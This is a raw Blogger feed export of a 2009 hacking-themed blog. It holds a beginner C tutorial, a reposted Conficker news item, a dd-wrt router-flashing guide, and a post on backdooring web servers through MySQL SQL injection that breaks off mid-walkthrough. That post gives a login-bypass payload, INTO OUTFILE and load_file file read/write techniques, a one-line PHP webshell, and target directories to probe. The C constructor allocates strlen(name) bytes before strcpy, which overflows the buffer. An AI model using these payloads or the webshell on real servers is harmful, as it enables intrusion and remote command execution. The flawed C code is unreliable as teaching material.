}else{&lt;br /&gt;        Instructions&lt;br /&gt;    }&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Switch statements&lt;br /&gt;Faster than If statements&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;    switch(condition){&lt;br /&gt;        case 1:&lt;br /&gt;            Instructions&lt;br /&gt;            break;&lt;br /&gt;        ...&lt;br /&gt;        case N:&lt;br /&gt;            Instructions&lt;br /&gt;            break;&lt;br /&gt;        default:&lt;br /&gt;            Instructions     &lt;br /&gt;    }&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Loops&lt;br /&gt;While loop&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;    while(condition){&lt;br /&gt;        Instructions&lt;br /&gt;    }&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;For Loop&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;    int i;&lt;br /&gt;    for(i=0; condition; i++){&lt;br /&gt;        Instructions&lt;br /&gt;    }&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Do-While Loop&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;    do{&lt;br /&gt;        Instructions&lt;br /&gt;    }while(condition);&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Useful functions&lt;br /&gt;Search in the man pages of your Linux distribution how to use them. In Debian you have to install them from the repositories.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;apt-get install manpages-dev &lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The functions you should man for now are:&lt;br /&gt;printf&lt;br /&gt;scanf&lt;br /&gt;strlen&lt;br /&gt;strcpy&lt;br /&gt;strcat&lt;br /&gt;malloc&lt;br /&gt;free&lt;br /&gt;&lt;br /&gt;Pointer&lt;br /&gt;The beautiful pointers... Thanks to them we have Orient Object Programming.&lt;br /&gt;Let's say this is our memory (All numbers in Hex with a Little-Endian 32 bits hardware):&lt;br /&gt;&lt;br /&gt;Endianness -&gt; http://en.wikipedia.org/wiki/Endianness&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;-----------------------------&lt;br /&gt;Address |      Memory       |&lt;br /&gt;-----------------------------&lt;br /&gt;   0x00 | 00 | 00 | 00 | 0A | &lt;br /&gt;-----------------------------&lt;br /&gt;   0x04 | 00 | 00 | 00 | 00 |&lt;br /&gt;-----------------------------&lt;br /&gt;   0x08 | 4C | 4C | 45 | 48 |&lt;br /&gt;-----------------------------&lt;br /&gt;   0x0C | 00 | 00 | 00 | 4F |&lt;br /&gt;-----------------------------&lt;br /&gt;&lt;br /&gt;Also lets say our program is:&lt;br /&gt;&lt;br /&gt;int a = 10; //Address 0x00&lt;br /&gt;int* b = &amp;a; //Address 0x04&lt;br /&gt;char* c = "HELLO"; //Address 0x08&lt;br /&gt;&lt;br /&gt;b is a pointer. If I print b I will get 0x00000000&lt;br /&gt;which is the address of a. If I print *b I will print&lt;br /&gt;the value of the thing b is pointing, in this case a.&lt;br /&gt;So printing *b will result in 0x0000000A or 10&lt;br /&gt;If I print &amp;a I will get the address of a which is 0x00000000&lt;br /&gt;&lt;br /&gt;Now if I print c[2] I will get 4C which is L in the ascii table.&lt;br /&gt;If I print all the string, it will print till it gets to the null byte&lt;br /&gt;In this case the null byte is in the sixth byte of the string.&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now you know how to get the information of a pointer :)&lt;br /&gt;To reserve memory use the function malloc like this:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;    char* str;&lt;br /&gt;    int* i; &lt;br /&gt;    /*&lt;br /&gt;    * To reserve 10 bytes for str. The (char *)&lt;br /&gt;    * is for the program to know what kind of &lt;br /&gt;    * pointer will be.&lt;br /&gt;    */&lt;br /&gt;    str = (char *)malloc(10);&lt;br /&gt;    /*&lt;br /&gt;    * To reserve enough space for a int I use the&lt;br /&gt;    * sizeof function.&lt;br /&gt;    */&lt;br /&gt;    i = (int *)malloc(sizeof(int));&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Precompiler Instructions&lt;br /&gt;This are special instructions. All the calculations are made by the compiler, but make us the life easier.&lt;br /&gt;Include precompiler instruction&lt;br /&gt;It's to import the libraries you want to use in your program.&lt;br /&gt;For system libraries:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;#include &lt;stdio.h&gt;//This will include the stdio.h file&lt;/blockquote&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;For user defined libraries:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;#include "list.h"//This will include the lis.h file.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;efine precompiler instruction&lt;br /&gt;To define a constant:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;#define TRUE 1//This will define the word TRUE as 1&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The .h files are the headers files. There you'll have the firm of every function in the .c with the same name.&lt;br /&gt;&lt;br /&gt;sum.h&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;&lt;br /&gt;void printSum(int, int);&lt;/blockquote&gt; &lt;br /&gt;&lt;br /&gt;sum.c&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;#include "sum.h"&lt;br /&gt;&lt;br /&gt;int sum( int a, int b ){&lt;br /&gt;    return ( a + b );&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void printSum(int a, int b ){&lt;br /&gt;    printf("The result is %d", sum( a , b ));//Prints result on screen&lt;br /&gt;}&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;As you can see, the the sum.h only have the printSum function. This is because printSum is a public function while sum is just a private function. If someone use this useless library will not be able to use sum, but will be able to use printSum. So to define a class you should to use a header file. But how do you define a new data type? With Structures :)&lt;br /&gt;&lt;br /&gt;Structures&lt;br /&gt;Let's say we want to define the data type Person (Name, Age, Gender)&lt;br /&gt;&lt;br /&gt;person.h&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;&lt;br /&gt;struct PERSON{&lt;br /&gt;    char* pName;&lt;br /&gt;    int pAge;&lt;br /&gt;    int pGender;//0 for man, 1 for woman&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;typedef struct PERSON Person;&lt;br /&gt;&lt;br /&gt;Person* newPerson(char*, int, int);&lt;br /&gt;&lt;br /&gt;person.c&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;#include "person.h"&lt;br /&gt;&lt;br /&gt;//Constructor of Person. Returns NULL on error&lt;br /&gt;Person* newPerson(char* name, int age, int gender){&lt;br /&gt;    /*&lt;br /&gt;    * To reserve some memory use malloc with the size you need&lt;br /&gt;    * In this case I need the space enough to hold a Person type&lt;br /&gt;    * so I use sizeof(Person);&lt;br /&gt;    */&lt;br /&gt;    Person* nPerson = (Person *) malloc(sizeof(Person));&lt;br /&gt;    //To access the members of this class we should use the "-&gt;" operator.&lt;br /&gt;    if(gender != 0 &amp;&amp; gender != 1){&lt;br /&gt;        free(nPerson);//To free the space used by nPerson&lt;br /&gt;        return NULL;&lt;br /&gt;    }&lt;br /&gt;    //To access the pGender, member of Person&lt;br /&gt;    nPerson-&gt;pGender = gender;&lt;br /&gt;    if(age&lt;0){&lt;br /&gt;        free(nPerson);//To free the space used by nPerson&lt;br /&gt;        return NULL;        &lt;br /&gt;    }&lt;br /&gt;    //To access the pAge, member of Person&lt;br /&gt;    nPerson-&gt;pAge = age;&lt;br /&gt;    /*&lt;br /&gt;    * With the function malloc I reserve as many bytes the char* name has and then&lt;br /&gt;    * and I assign the new address to the pName, member of Person. If the malloc &lt;br /&gt;    * return NULL the system call to ask some more memory failed, and the creation&lt;br /&gt;    * of the new type also should failed. It's efficient to free the space used for &lt;br /&gt;    * any reference data type if it won't be used anymore. That's why I use free(void*)&lt;br /&gt;    * everytime a inconsistent data or a failed system call appears.&lt;br /&gt;    */&lt;br /&gt;    if((nPerson-&gt;pName = (char *) malloc(strlen(name)))==NULL){&lt;br /&gt;        free(nPerson);//To free the space used by nPerson&lt;br /&gt;        return NULL;&lt;br /&gt;    }&lt;br /&gt;    /*&lt;br /&gt;    * This function copies name to pName&lt;br /&gt;    * This nPerson-&gt;pName = name would only copie the&lt;br /&gt;    * address of name to nPerson-&gt;pName&lt;br /&gt;    */&lt;br /&gt;    strcpy(nPerson-&gt;pName,name);&lt;br /&gt;    return nPerson;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can also use "." intead of "-&gt;", but you need to change some things... I think is easier to work this way...&lt;br /&gt;&lt;br /&gt;Explanation of the code:&lt;br /&gt;Here I declare the members of the "class". In this case you have pName, pAge, pGender.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;struct PERSON{&lt;br /&gt;    char* pName;&lt;br /&gt;    int pAge;&lt;br /&gt;    int pGender;&lt;br /&gt;}&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here I rename the "class" from "struct PERSON" to "Person". It's just to write less code :)&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;typedef struct PERSON Person;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Then I declare the "constructor" of the "class"&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;Person* newPerson(char*, int, int);&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;reference:zeroidentity&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-1317777402666339427?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/1317777402666339427/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/08/c-tutorial-chapter-1.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/1317777402666339427'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/1317777402666339427'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/08/c-tutorial-chapter-1.html' title='C tutorial [Chapter 1]'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-7076960486760648933</id><published>2009-08-21T15:46:00.001-07:00</published><updated>2009-08-21T15:46:41.269-07:00</updated><title type='text'>Conficker??? real or fake</title><content type='html'>Taken from thesun.co.uk&lt;br /&gt;&lt;br /&gt;The Windows worm called Conficker could give a hacker unrestricted access to every infected machine on the planet.&lt;br /&gt;And the aggressive bug could be hiding on your PC at home right now, waiting to kick in.&lt;br /&gt;For the hackers, it’s like having a virtual army at their fingertips.&lt;br /&gt;The criminals behind it have the power to launch a tidal wave of junk emails, bringing computers grinding to a halt.&lt;br /&gt;They could also plunder information, including your bank details.&lt;br /&gt;But the truth is that the best techie brains in the business just don’t know exactly what the hackers have in mind.&lt;br /&gt;Infected&lt;br /&gt;&lt;br /&gt;Virus expert Mikko Hypponen, from the firm F-Secure, said: “It is scary thinking about how much control a hacker could have over all these computers. They would have access to millions of machines.”&lt;br /&gt;Microsoft, who developed the Windows computer operating system, have slapped a £175,000 bounty on whoever is responsible, so far without success.&lt;br /&gt;The sophisticated Conficker bug — also known as Downadup or Kido — targets systems via the web and can be spread on memory sticks.&lt;br /&gt;More than nine million computers were infected at the bug’s peak last month.&lt;br /&gt;And if Conficker is still on your system come Wednesday, you could be in trouble.&lt;br /&gt;Once inside your PC, it sets up files and starts downloading information from a controlling “boss” server.&lt;br /&gt;Finding that website and the mastermind behind it all is like looking for a needle in a haystack.&lt;br /&gt;That is because the bug creates hundreds of bogus addresses every day to put investigators off the scent.&lt;br /&gt;The infected PCs then form a network and “talk” to each other, updating and evolving.&lt;br /&gt;The bug even attacks anti-virus software and other files on your computer to strengthen its position.&lt;br /&gt;And it resets “restore” points, making recovery of your old system even harder.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The first of three Conficker strains was discovered in November last year.&lt;br /&gt;A second, more aggressive strain followed in December and a third this month. This contains the all-important April 1 trigger.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To avoid infection, Windows users must download a special free update “patch” from the Microsoft website. But that isn’t enough — you also need good anti-virus software too.&lt;br /&gt;Many businesses around the world are thought also to be at risk after failing to update systems.&lt;br /&gt;Graham Cluley, from computer security firm Sophos, warned: “Microsoft did a good job of updating people’s home computers.&lt;br /&gt;“But the virus continues to infect businesses that have ignored the update.”&lt;br /&gt;He also stressed the need for strong passwords on your computer, adding: “If users are using weak passwords — 12345, QWERTY etc — then the virus can crack them.”&lt;br /&gt;F-Secure’s Mikko warned potential problems with Conficker would be highlighted wildly before April 1.&lt;br /&gt;But he said he didn’t foresee an attack, despite the fears and mystery surrounding the problem.&lt;br /&gt;He said: “There’s always hype — just think of previous cases.&lt;br /&gt;“There is not going to be a ‘global virus attack’. We don’t know what they are planning to do, if anything.&lt;br /&gt;“I think the machines that are already infected might do something new on April 1.”&lt;br /&gt;Let’s hope, for everyone’s sake, that it turns out to be an April Fools’ Day hoax.&lt;br /&gt;&lt;br /&gt;What M$ have to say about it:&lt;br /&gt;Win32/Conficker.D is a variant of Win32/Conficker. Conficker.D infects the local computer, terminates services and blocks access to numerous Web sites. This variant does not spread to removable drives or shared folders across a network and is installed by previous variants of Win32/Conficker.&lt;br /&gt;&lt;br /&gt;Other variants of Win32/Conficker infect computers across a network by exploiting a vulnerability in the Windows Server service (SVCHOST.EXE). If the vulnerability is successfully exploited, it could allow remote code execution when file sharing is enabled. It may also spread via removable drives and weak administrator passwords. It disables several important system services and security products.&lt;br /&gt;&lt;br /&gt;Microsoft strongly recommends that users apply the update referred to in Security Bulletin MS08-067 immediately.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Microsoft also recommends that users ensure that their network passwords are strong to prevent Win32/Conficker variants from spreading via weak administrator passwords.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-7076960486760648933?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/7076960486760648933/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/08/conficker-real-or-fake.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/7076960486760648933'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/7076960486760648933'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/08/conficker-real-or-fake.html' title='Conficker??? real or fake'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-2368918479737016453</id><published>2009-08-16T11:22:00.000-07:00</published><updated>2009-08-16T11:30:16.359-07:00</updated><title type='text'>Hack your router! Get better wireless range!</title><content type='html'>Ever wanted to control the access times that others can use your internet or see if your neighbors are leaching off your wifi? Tired of the shitty web interface on your router? got nothing better to do? Well dd-wrt is for you.&lt;br /&gt;&lt;br /&gt;dd-wrt is a linux based, open source firmware for your router, adding many features such as remote access, bandwidth management, and as I mentioned the ability to kick your siblings off of limewire to free up bandwidth.&lt;br /&gt;&lt;br /&gt;Sound awesome? It is. Before you get all excited, check and make sure your router is compatible with dd-wrt.&lt;br /&gt;&lt;br /&gt;http://www.dd-wrt.com/dd-wrtv3/dd-wrt/hardware.html&lt;br /&gt;&lt;br /&gt;If it is, keep reading, if its not, sucks to be you and gtfo&lt;br /&gt;&lt;br /&gt;THIS GUIDE IS FOR THE WEB INSTALL ONLY! VISIT dd-wrt.com FOR TFTP INSTALL&lt;br /&gt;&lt;br /&gt;Things your going to need&lt;br /&gt;&lt;br /&gt;*about an hours worth of time or less, depending on your IQ&lt;br /&gt;*compatible router&lt;br /&gt;*linux, windows xp or vista&lt;br /&gt;*network cable&lt;br /&gt;&lt;br /&gt;First off, download dd-wrt.&lt;br /&gt;http://www.dd-wrt.com/dd-wrtv3/dd-wrt/downloads.html&lt;br /&gt;choose who v24 sp 1, then click consumer, and find who makes your router. THEN click on its model number. from there, download the file&lt;br /&gt;&lt;br /&gt;dd-wrt.v24_mini_generic.bin&lt;br /&gt;&lt;br /&gt;and keep it on your desktop.&lt;br /&gt;&lt;br /&gt;Now its time to get your hands dirty with installing.&lt;br /&gt;&lt;br /&gt;***************WARNING READ THIS******************&lt;br /&gt;Incorrectly flashing will brick (break) your router! If your a 12 year old regular scriptkiddie on here, DONT DO THIS UNLESS YOU CAN REPLACE YOUR ROUTER.&lt;br /&gt;&lt;br /&gt;You have been warned, dont bitch at me if you mess up.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Fist off, open firefox (yes firefox, if your using internet explorer you need to switch now) and go to http://192.168.1.1/. WHATS THIS A WEB PAGE? No, this is your router on your local network. If you get a blank page, your router may have a different IP address than the normal which I just posted.&lt;br /&gt;&lt;br /&gt;TO FIND OUT YOUR ROUTER IP, (on windows)&lt;br /&gt;Click start &gt; run and type in cmd&lt;br /&gt;in the command prompt, type ipconfig&lt;br /&gt;you should see the following:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i32.tinypic.com/126cy1s.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 667px; height: 335px;" src="http://i32.tinypic.com/126cy1s.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;AND THIS BLOCK OF TEXT IS TAKEN FROM DD-WRT.COM&lt;br /&gt;If you know the IP address, username, and password of your router:&lt;br /&gt;&lt;br /&gt;1. Follow the instructions in the next section to log in to the Web GUI.&lt;br /&gt;2. Click the "Administration" tab.&lt;br /&gt;3. Click the "Factory Defaults" sub-tab.&lt;br /&gt;4. Select "Yes".&lt;br /&gt;5. Click the "Save Settings" button.&lt;br /&gt;6. A new page will open, click "continue".&lt;br /&gt;&lt;br /&gt;If you do not know the IP address, username, or password of your router, read above or LEARN TO READ I CANT SPOON FEED YOU ANY MORE.&lt;br /&gt;&lt;br /&gt;and now back to my guide.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This will clear all settings on your router... setting the stage for dd-wrt.&lt;br /&gt;&lt;br /&gt;Now its time to do a 30/30/30 reset. While the router is plugged in, hold the reset button for 30 seconds. while still holding the reset button, unplug the unit for 30 second and plug it back in, whilest still holding the reset button, for another 30 seconds while the unit is running.&lt;br /&gt;&lt;br /&gt;in other words, HOLD THE BUTTON FOR 1 minute 30 seconds while unplugging the router and plugging it back in.&lt;br /&gt;&lt;br /&gt;The stage is now set to upload the dd-wrt firmware.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;*******************FINAL BLUNT WARNING*****************&lt;br /&gt;FUCKING UP WILL BREAK YOUR ROUTER IF YOU HAVE A LOW IQ DO NOT CONTINUE&lt;br /&gt;****************************************************&lt;br /&gt;&lt;br /&gt;following text taken from dd-wrt.com&lt;br /&gt;1. First do a hard reset on the unit that DD-WRT is to be loaded onto. &lt;you just did this step, skip this&lt;br /&gt;2. You should be in the Web GUI of the router. Go there now. (192.168.1.1 in your web browser)&lt;br /&gt;3. Click the "Administration" tab&lt;br /&gt;4. Click the "Firmware Upgrade" sub-tab.&lt;br /&gt;5. &lt;step removed, only for upgradeing exsisting dd-wrt installs&gt;&lt;br /&gt;6. Click the "Browse" button and select the DD-WRT .bin file you downloaded and confirmed. (file is dd-wrt.v24_mini_generic.bin on your desktop)&lt;br /&gt;7. Click the "Upgrade" button.&lt;br /&gt;8. The router will take a few minutes to upload the file and flash the firmware. During this time, the power light will flash.&lt;br /&gt;9. A new page will open confirming that the upload was successful (Installation#Possible errors if not). Now wait about 5 minutes before clicking "Continue".&lt;br /&gt;10. Lastly, do another hard reset on the unit. (same thing as above, 30/30/30 reset)&lt;br /&gt;11. If flashed successfully you will now be able to access the DD-WRT web interface at 192.168.1.1&lt;br /&gt;&lt;br /&gt;END OF COPIED TEXT&lt;br /&gt;&lt;br /&gt;12. If you cant access the web interface at 192.168.1.1, your pretty bone now arent you? (in other words, your router is probly bricked Roflmao)&lt;br /&gt;&lt;br /&gt;Go ahead and play with your new firmware. Turn up the power on your antennas to 52 mw (NOT PAST 52 UNLESS YOU WANT A FIRE AND OR BURNT HARDWARE)&lt;br /&gt;&lt;br /&gt;More copied text from dd-wrt.com, if you had an "upload failed" error. I allready told you to use the generic version of the firmware anywho, so your probably just thick.&lt;br /&gt;&lt;br /&gt;Possible Errors&lt;br /&gt;&lt;br /&gt;During the firmware upload process, if your router says something similar to, "Upload Failed," you may be using the wrong version of DD-WRT. This may occur through the web GUI if you use a *wrt54g.bin version when you should have selected the generic version instead. It may also be that your router requires the mini version to be flashed before the full version. Be sure to double check to make sure you have the right version. If you are certain that your router is supported and that you have the correct firmware, you may simply need to use a different web browser (e.g. from Firefox to Internet Explorer).&lt;br /&gt;&lt;br /&gt;END OF COPIED TEXT&lt;br /&gt;&lt;br /&gt;and thats it for my guide. You can explore dd-wrt and play with its features yourself. If you have any problems during install, LOOK AT THEIR GODDAMNED GUIDE at http://www.dd-wrt.com/wiki/index.php/Installation&lt;br /&gt;&lt;br /&gt;This is a watered down, spoon fed version of it. I cant make it any easier than it is allready. Blunt, simple, and to the point.&lt;br /&gt;&lt;br /&gt;rep me if you think its a decent guide.&lt;br /&gt;&lt;br /&gt;questions or comments? Post here, dont even think about pm'ing me with trivial questions covered on dd-wrt.com or in my guide.&lt;br /&gt;&lt;br /&gt;good luck and dont brick your router! &lt;br /&gt;&lt;br /&gt;reference: das pacman@hackforums&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-2368918479737016453?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/2368918479737016453/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/08/hack-your-router-get-better-wireless.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/2368918479737016453'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/2368918479737016453'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/08/hack-your-router-get-better-wireless.html' title='Hack your router! Get better wireless range!'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://i32.tinypic.com/126cy1s_th.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-3111563632215728661</id><published>2009-08-13T21:15:00.000-07:00</published><updated>2009-08-13T21:17:34.883-07:00</updated><title type='text'>Backdoor webserver using MySQL SQL Injection</title><content type='html'>MySQL Database is a great product used by thousand of websites. Various web applications use MySQL as their default database. Some of these applications are written with security in mind, and some are not. In this article, I would like to show you how you can exploit SQL injection in order to gain almost full control over your webserver.&lt;br /&gt;&lt;br /&gt;Most people know that SQL injection allows attackers to retrieve database records, pass login screens, change database content, through the creation of new administrative users. MySQL does not have a built-in command to execute shell commands, like Microsoft SQL server. I will show you how to run arbitrary commands using standard features provided by MySQL.&lt;br /&gt;&lt;br /&gt;First of all, I would like to give a brief description of SQL injection, then I would like to present you with a couple less known methods that exist in MySQL, which I will use to backdoor a webserver. I will use 2 built-in MySQL commands - one that writes arbitrary files and the one that can be used to read arbitrary files. After that I will describe webshells and go to the attack itself.&lt;br /&gt;What is SQL Injection?&lt;br /&gt;&lt;br /&gt;SQL injection is an attack that allows the attacker to add logical expressions and additional commands to the existing SQL query. This attack can succeed whenever a user has submitted data that is not properly validated and is glued together with a legitimate SQL query.&lt;br /&gt;&lt;br /&gt;For example, the following SQL command is used to validate user login requests:&lt;br /&gt;&lt;blockquote&gt;$sql_query = "select * from users where user='$user' and password='$pass'"&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;If the user-submitted data is not properly validated, an attacker can exploit this query and pass the login screen by simply submitting specially crafter variables. For example, attacker can submit the following data as a $user variable: admin' or '1'='1 . When this $user variable is glued together with the query, it will look as followed:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;$sql_query = "select * from users where user='admin' or '1'='1' and password='$pass'"&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Now, the attacker can safely pass the login screen because or '1'='1' causes the query to always return a "true" value while ignoring the password value.&lt;br /&gt;&lt;br /&gt;Using similar techniques, an attacker can retrieve database records, pass login screens, and change database contents, for example by creating new administrative users. In this document, I will show how by applying similar techniques, we will be able to execute arbitrary shell commands.&lt;br /&gt;Command 1- Writing arbitrary files&lt;br /&gt;&lt;br /&gt;MySQL has a built-in command that can be used to create and write system files. This command has the following format:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;mysq&gt; select "text" INTO OUTFILE "file.txt"&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;One big drawback of this command is that it can be appended to an existing query using UNION SQL token.&lt;br /&gt;&lt;br /&gt;For example, it can be appended to the following query:&lt;br /&gt;select user, password from user where user="admin" and password='123'&lt;br /&gt;&lt;br /&gt;Resulting query:&lt;br /&gt;select user, password from user where user="admin" and password='123' union&lt;br /&gt;select "text",2 into outfile "/tmp/file.txt" -- '&lt;br /&gt;&lt;br /&gt;As a result of the above command, the /tmp/file.txt file will be created including the query result.&lt;br /&gt;Command 2- Reading arbitrary files&lt;br /&gt;&lt;br /&gt;MySQL has a built-in command that can be used to read arbitrary files. The syntax is very simple. We will use this command for plan B.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;mysql&gt; select load_file("PATH_TO_FILE");&lt;br /&gt;Webshell&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Webshell is a polpular and widely used tool for executing shell commands from within the web browser. Some call these tools PHP shells. We will create a very simple webshell that will execute shell commands.&lt;br /&gt;&lt;br /&gt;Here is the code of a very basic PHP shell (parameter passed by cmd will be executed):&lt;br /&gt;&lt;blockquote&gt;&lt;? system($_REQUEST['cmd']); ?&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;For example, in the following screenshot, id command is executed.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.greensql.net/files/images/shell-id.preview.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 640px; height: 250px;" src="http://www.greensql.net/files/images/shell-id.preview.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Attack Scenario&lt;br /&gt;&lt;br /&gt;1. Find SQL injection&lt;br /&gt;&lt;br /&gt;It is out of the scope of this document. You must first find SQL injection.&lt;br /&gt;&lt;br /&gt;2. Find a directory with write permission&lt;br /&gt;&lt;br /&gt;To create a webshell PHP script, we need a directory with write permission on. Temporary directories used by popular Content Management Systems are a good choice for this. Check the following urls to find one:&lt;br /&gt;&lt;br /&gt;    * hxxp://www.target.com/templates_compiled/&lt;br /&gt;    * hxxp://www.target.com/templates_c/&lt;br /&gt;    * hxxp://www.target.com/templates/&lt;br /&gt;    * hxxp://www.target.com/temporary/&lt;br /&gt;    * hxxp://www.target.com/images/&lt;br /&gt;    * hxxp://www.target.com/cache/&lt;br /&gt;    * hxxp://www.target.com/temp/&lt;br /&gt;    * hxxp://www.target.com/files/&lt;br /&gt;&lt;br /&gt;In our example we will use a temp directory.&lt;br /&gt;&lt;br /&gt;3. Exploit SQL injection - create web shell&lt;br /&gt;&lt;br /&gt;You need to append the following string to the legitimate SQL command:&lt;br 